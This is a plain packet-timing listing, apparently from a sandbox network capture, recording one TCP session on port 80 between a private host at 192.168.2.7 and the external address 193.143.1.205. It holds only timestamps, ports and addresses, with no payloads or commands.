Jan 11, 2025 06:24:41.263436079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263436079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.263483047 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.263537884 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.264070034 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264105082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264158964 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264192104 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264228106 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264266968 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264286995 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.264286995 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.264303923 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.264341116 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.265026093 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265078068 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265083075 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.265115023 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265149117 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265156984 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.265183926 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265218019 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265228987 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.265253067 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265364885 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.265901089 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.265970945 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266022921 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266058922 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266091108 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266125917 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266149044 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.266149044 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.266160011 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.266253948 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.268471003 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268523932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268559933 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268598080 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268605947 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.268605947 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.268611908 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268646955 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268682957 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.268778086 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.268778086 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.269006968 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269042015 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269076109 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269109011 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269149065 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269182920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269226074 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269231081 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.269231081 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.269231081 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.269789934 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.269843102 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.271621943 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.271621943 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.283211946 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.283271074 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.283332109 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.320225954 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320261955 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320301056 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320354939 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320372105 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320379972 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.320422888 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.320426941 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320460081 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320494890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320508003 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.320529938 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320554018 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.320564985 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320600033 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.320744991 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.346755028 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346780062 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346796989 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346817970 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346820116 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.346834898 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346858025 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.346868992 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.346976995 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357331991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357347965 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357362986 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357378960 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357393980 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357393980 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357412100 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357425928 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357496023 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357511044 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357527018 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357542038 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357557058 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.357567072 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357567072 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357567072 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.357639074 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385212898 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385303020 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385340929 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385396004 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385416031 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385452986 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385457039 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385497093 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385543108 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385552883 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385590076 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385649920 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385684013 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385687113 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385721922 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385756969 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385759115 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385792017 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385827065 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385862112 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385868073 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385868073 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.385898113 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.385947943 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386007071 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386013031 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386064053 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386094093 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386128902 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386163950 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386198044 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386230946 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386234045 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386234045 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386251926 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386271954 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386272907 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386308908 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386341095 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386353970 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386395931 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386430979 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386449099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386471987 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386483908 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386532068 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386538029 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386583090 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386591911 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386627913 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386665106 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386677980 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386718988 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386753082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386787891 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386806011 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386822939 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386857033 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386859894 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386895895 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.386913061 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.386931896 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387017012 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387047052 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387082100 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387118101 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387151957 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387154102 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387259007 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387271881 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387307882 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387377977 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387430906 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387466908 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387497902 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387497902 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387500048 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387536049 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387572050 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387605906 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387639999 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387643099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387643099 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387676001 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387713909 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387713909 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387753963 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387765884 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387773037 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387800932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387836933 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.387872934 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387872934 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.387959003 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388011932 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388046980 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388052940 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388082981 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388120890 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388139009 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388155937 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388210058 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388216019 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388245106 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388279915 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388314009 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388319969 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388350010 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388385057 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388391972 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388421059 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388456106 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388472080 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388490915 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388525963 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388562918 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.388567924 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.388567924 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.391844034 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.391879082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.391894102 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.391913891 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.391968966 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.392004967 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.392041922 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.392050982 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.392050982 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.392079115 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.392127991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.392204046 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.392429113 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.407294989 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407408953 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.407418966 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407459974 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407495022 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407531023 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407533884 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.407567024 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407604933 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.407646894 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.407646894 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.408334970 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.433820009 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.433856010 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.433901072 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.433909893 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.433964014 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.433999062 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434036970 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.434051991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434107065 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434140921 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434175968 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434181929 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.434182882 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.434211016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434246063 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434281111 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434314966 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434326887 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.434328079 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.434350967 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.434436083 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.444315910 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444339991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444355965 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444379091 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444390059 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.444397926 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444412947 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444422960 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.444431067 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.444475889 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472126007 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472207069 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472242117 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472244978 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472297907 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472335100 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472372055 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472392082 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472392082 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472428083 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472480059 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472515106 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472537041 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472572088 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472606897 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472625017 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472659111 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472672939 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472712040 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472752094 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472788095 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472840071 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472875118 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472894907 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472910881 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.472953081 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.472971916 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473026991 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473061085 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473083019 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473115921 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473150969 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473177910 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473186016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473220110 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473242044 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473298073 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473335028 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473373890 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473388910 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473426104 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473443031 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473484039 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473484039 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473500967 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473537922 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473572016 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473612070 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473623991 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473647118 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473683119 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473685980 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473721981 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473752975 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473757029 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473792076 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473807096 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473839998 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473872900 CET	80	49708	193.143.1.205	192.168.2.7
Jan 11, 2025 06:24:41.473882914 CET	49708	80	192.168.2.7	193.143.1.205
Jan 11, 2025 06:24:41.473908901 CET	80	49708	193.143.1.205	192.168.2.7
